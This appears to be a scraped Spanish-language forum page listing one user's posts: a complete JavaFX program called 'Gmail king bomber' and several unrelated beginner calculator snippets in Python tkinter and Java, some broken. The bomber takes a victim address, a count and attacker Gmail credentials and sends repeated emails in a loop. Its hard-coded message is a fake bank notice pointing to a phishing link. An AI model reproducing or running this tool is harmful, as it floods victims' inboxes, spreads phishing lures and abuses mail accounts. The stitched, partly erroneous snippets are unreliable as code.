Haz los algoritmos, por lo menos en pseudocódigo, el asunto es que razones, que pienses y desarrolles tu lógica.
Luego ya aprende un lenguaje de programación.
Saludos.
Luego ya aprende un lenguaje de programación.
Saludos.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
txrActividad.setText(txrActividad.getText() + "\n" +
"Nuevo mensaje enviado: " + new Date() + "\n" +
"Destino: " + txtEmail.getText() + "\n" +
"Asunto: " + txtAsunto.getText() + "\n" +
"Mensaje: " + txrMensaje.getText()+"\n"+"\n");
import java.util.Date;
import java.util.Properties;
// Librerias JavaFX
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.scene.Group;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.control.Label;
import javafx.scene.control.PasswordField;
import javafx.scene.control.TextArea;
import javafx.scene.control.TextField;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.paint.Color;
import javafx.stage.Stage;
// librerias JavaMail
import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.swing.JOptionPane;
public class GmailKingBomber extends Application {
Label lblEmail,lblAsunto,lblMensaje,cantMensajes,lblActividad,lblEmailSender,lblPassSender;
Button btnOk,btnBorrar;
TextField txtEmail,txtAsunto,txtcantMensajes,txtEmailSender;
PasswordField txtPassSender;
TextArea txrMensaje,txrActividad;
public void start(Stage stage){
Group root = new Group(); // crea un panel "Grupo" (ver doc)
Scene escena = new Scene(root,550,420); // se lo asigna a la escena y configura sizes
// email
lblEmail = new Label("Email");
lblEmail.setTextFill(Color.web("#0076a3"));
lblEmail.setLayoutX(8);
lblEmail.setLayoutY(8);
txtEmail = new TextField("");
txtEmail.setFocusTraversable(true);
txtEmail.setPrefSize(150,25);
txtEmail.setLayoutX(20);
txtEmail.setLayoutY(28);
// asunto
lblAsunto = new Label("Asunto");
lblAsunto.setTextFill(Color.web("#0076a3"));
lblAsunto.setLayoutX(8);
lblAsunto.setLayoutY(55);
txtAsunto = new TextField("");
txtAsunto.setFocusTraversable(true);
txtAsunto.setPrefSize(150,25);
txtAsunto.setLayoutX(20);
txtAsunto.setLayoutY(75);
// mensaje
lblMensaje = new Label("Mensaje");
lblMensaje.setTextFill(Color.web("#0076a3"));
lblMensaje.setLayoutX(8);
lblMensaje.setLayoutY(101);
txrMensaje = new TextArea("");
txrMensaje.setFocusTraversable(true);
txrMensaje.setPrefSize(150,80);
txrMensaje.setLayoutX(20);
txrMensaje.setLayoutY(126);
// cantidad de mensajes
cantMensajes = new Label("Cantidad de emails");
cantMensajes.setTextFill(Color.web("#0076a3"));
cantMensajes.setLayoutX(8);
cantMensajes.setLayoutY(211);
txtcantMensajes = new TextField("");
txtcantMensajes.setFocusTraversable(true);
txtcantMensajes.setPrefSize(80,25);
txtcantMensajes.setLayoutX(20);
txtcantMensajes.setLayoutY(234);
// email atacador
lblEmailSender = new Label("Email atacante");
lblEmailSender.setTextFill(Color.web("#0076a3"));
lblEmailSender.setLayoutX(8);
lblEmailSender.setLayoutY(266);
// txt email atacador
txtEmailSender = new TextField("");
txtEmailSender.setFocusTraversable(true);
txtEmailSender.setLayoutX(20);
txtEmailSender.setLayoutY(285);
// pass del atacador
lblPassSender = new Label("Pass");
lblPassSender.setTextFill(Color.web("#0076a3"));
lblPassSender.setLayoutX(8);
lblPassSender.setLayoutY(310);
//ptxt pass del atacador
txtPassSender = new PasswordField();
txtPassSender.setFocusTraversable(true);
txtPassSender.setLayoutX(20);
txtPassSender.setLayoutY(329);
// si se empieza a escribir la contrasena se activa el boton
txtPassSender.textProperty().addListener(new ChangeListener<String>() {
@Override
public void changed(ObservableValue<? extends String> observable,
String oldValue, String newValue) {
btnOk.setDisable(false);
}
});
// boom
btnOk = new Button("¡Boom!");
btnOk.setFocusTraversable(true);
btnOk.setDisable(true);
btnOk.setTextFill(Color.web("#0076a9"));
btnOk.setLayoutX(20);
btnOk.setLayoutY(385);
btnOk.setPrefSize(100,25);
// evento del boton
btnOk.setOnAction(new EventHandler<ActionEvent>() {
public void handle(ActionEvent event){ // crea un thread para iniciar el proceso
Boom boom = new Boom();
boom.start(); // inicia la tarea
}
});
// boton borrar
btnBorrar = new Button("Borrar");
btnBorrar.setLayoutX(126);
btnBorrar.setLayoutY(385);
btnBorrar.setPrefSize(100,25);
btnBorrar.setOnAction(new EventHandler<ActionEvent>() {
public void handle(ActionEvent evt){
// borra todos los cambos y pone el focus en el email victima
txtEmail.setText(null);
txtAsunto.setText(null);
txrMensaje.setText(null);
txtcantMensajes.setText(null);
txrActividad.setText("");
txtEmail.requestFocus();
}
});
// textarea
lblActividad = new Label("Actividad");
lblActividad.setTextFill(Color.web("#0076a3"));
lblActividad.setLayoutX(250);
lblActividad.setLayoutY(8);
txrActividad = new TextArea();
txrActividad.setPrefSize(300,390);
txrActividad.setLayoutX(250);
txrActividad.setLayoutY(30);
txrActividad.setEditable(false); // el textarea no es editable
// imagen para el fondo
Image ima = new Image("file:htp.jpg",true);
ImageView imagen = new ImageView();
imagen.setImage(ima);
// imagen para el icono de la ventana
stage.getIcons().add(new Image("file:descarga.jpg"));
// agrega todos los componentes al panel
root.getChildren().addAll(imagen,lblEmail,btnOk,btnBorrar,txtEmail,lblAsunto,txtAsunto,lblMensaje,txrMensaje,cantMensajes,txtcantMensajes,lblEmailSender,txtEmailSender,lblPassSender,txtPassSender,lblActividad,txrActividad);
stage.setTitle("¡Gmail king bomber! v0.1 - Darkgus"); // titulo del "stage" ( jframe)
stage.setScene(escena); // le asigna la escena ( la escena es el panel principal, dentro esta el panel root de tipo Group)
stage.setResizable(false);
stage.show(); // mostramos la stage
}
// clase que hace el envío de emails mediante thread
private class Boom extends Thread{
private boolean continuar=true; //condicion del thread
void detener(){ // metodo para detener el thread
continuar = false;
}
void inhabilitar() { // inhabilita los controles
btnOk.setDisable(true);
btnBorrar.setDisable(true);
txtEmail.setEditable(false);
txtAsunto.setEditable(false);
txrMensaje.setEditable(false);
txtcantMensajes.setEditable(false);
txtEmailSender.setEditable(false);
txtPassSender.setEditable(false);
}
void habilitar() { // habilita los controles
btnOk.setDisable(false);
btnBorrar.setDisable(false);
txtEmail.setEditable(true);
txtAsunto.setEditable(true);
txrMensaje.setEditable(true);
txtcantMensajes.setEditable(true);
txtEmailSender.setEditable(true);
txtPassSender.setEditable(true);
}
public void run() { // incia el thread
while(continuar) { // hace la tarea mientras continuar sea true
try {
inhabilitar();
// Propiedades de la conexión
Properties props = new Properties();
props.setProperty("mail.smtp.host", "smtp.gmail.com");
props.setProperty("mail.smtp.starttls.enable", "true");
props.setProperty("mail.smtp.port", "587");
props.setProperty("mail.smtp.user", txtEmailSender.getText());
props.setProperty("mail.smtp.auth", "true");
// Preparamos la sesion
Session session = Session.getDefaultInstance(props);
// Construimos el mensaje
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress("yo@yo.com"));
message.addRecipient(
Message.RecipientType.TO,
new InternetAddress(txtEmail.getText()));
message.setSubject("Hola");
message.setText(
"Este es un aviso de su banco: clickee aquí: www.terobolacuenta.com");
// Lo enviamos.
int cantidad = Integer.parseInt(txtcantMensajes.getText() );
for(int i=1; i<=cantidad; i++) {
Transport t = session.getTransport("smtp");
t.connect(txtEmailSender.getText(), new String(txtPassSender.getText()));
t.sendMessage(message, message.getAllRecipients());
txrActividad.setText(txrActividad.getText() + "\n" +
"Nuevo mensaje enviado: " + new Date() + "\n" +
"Destino: " + txtEmail.getText() + "\n" +
"Asunto: " + txtAsunto.getText() + "\n" +
"Mensaje: " + txrMensaje.getText()+"\n"+"\n");
// Cierre.
t.close();
if(i==cantidad) {
detener();
habilitar();
}
} // fin for
} // fin try
catch(Exception e) { //detenemos el thread, habilitamos los button y mostramos error
detener();
habilitar();
JOptionPane.showMessageDialog(null,"Ha ocurrido un error. Asegúrese que se hayan\nintroducido correctamente los datos","ERROR",JOptionPane.ERROR_MESSAGE);
}
} // fin while
} // fin run
} // fin clase
public static void main(String[] args) {
launch(args); // lanza la aplicacion
}
}
boton = Button(root, text="Calcular",command=lambda: operar("parametro"), width=15)
from tkinter import * #importa el modulo grafico
from tkinter import ttk # importa elementos (widgets)
from tkinter import messagebox #importa messagebox
def operar():
error = False # sera el control de la operacion
texto = str(combo.get()) # extraemos el item seleccionado
# de acuerdo a la opcion escogia, se realiza una operacion
if(texto == "Sumar"):
lbl = Label(root,text="Total: "+str(a.get()+b.get()))
elif(texto == "Restar"):
lbl = Label(root,text="Total: "+str(a.get()-b.get()))
elif(texto=="Multiplicar"):
lbl = Label(root,text="Total: "+str(a.get() * b.get()))
# hacemos un try - catch (si se divide entre 0)
else:
try:
lbl = Label(root,text="Total: "+str(round(a.get() / b.get(),2)))
except:
messagebox.showerror("Error","No es posible la división entre 0")
error = True # avisamos que hay error
# si no hay error, se muestra el resultado
if(error==False):
lbl.grid(row=4,column=0)
root = Tk() #crea la ventana
a = DoubleVar() #maneja el tipo de dato que se usara
b = DoubleVar()
txtA = Entry(root, textvariable=a, width=15) #configuramos los textbox
txtB = Entry(root, textvariable=b, width=15)
# agregamos elementos al combo
combo = ttk.Combobox(root,value=('Sumar','Restar','Multiplicar','Dividir'), takefocus=0)
combo.grid(row=3,column=0)
# creamos el boton y configuramos su accion (command = 'funcion')
btnSumar = Button(root, text="Calcular", command=operar, width=15)
txtA.grid(row=0,column=0)
txtB.grid(row=1,column=0)
btnSumar.grid(row=2,column=0)
root.mainloop() #maneja todo lo que ocurre
from tkinter import *
def operar(operacion):
if(operacion == "suma"):
print(operacion)
lbl = Label(root,text="Total: "+str(a.get()+b.get()))
lbl.grid(row=3,column=0)
elif (operacion == "resta"):
print(operacion)
lbl = Label(root,text="Total: "+str(a.get()-b.get()))
lbl.grid(row=3,column=0)
root = Tk()
a = IntVar()
b = IntVar()
txtA = Entry(root, textvariable=a, width=15)
txtB = Entry(root, textvariable=b, width=15)
btnSumar = Button(root, text="Sumar", command=operar("resta"), width=15)
txtA.grid(row=0,column=0)
txtB.grid(row=1,column=0)
btnSumar.grid(row=2,column=0)
root.mainloop()
public class Hola {
void calcula(String operacion)
{
int numero1 = Integer.parseInt(textbox1.getText());
int numero2 = Integer.parseInt(textbox2.getText());
if(operacion.equals("suma") {
labelResultado.setText(String.valueOf(numero1+numero2));
else if (operacion.equals("resta") {
labelResultado.setText(String.valueOf(numero1-numero2));
// así con multiplicación y división
}
// evento del boton
public void actionPerformed(ActionEvent evento)
{
Objet item = (String) combobox.getSelectedItem();
calcula(item)
}
>>>
resta
>>>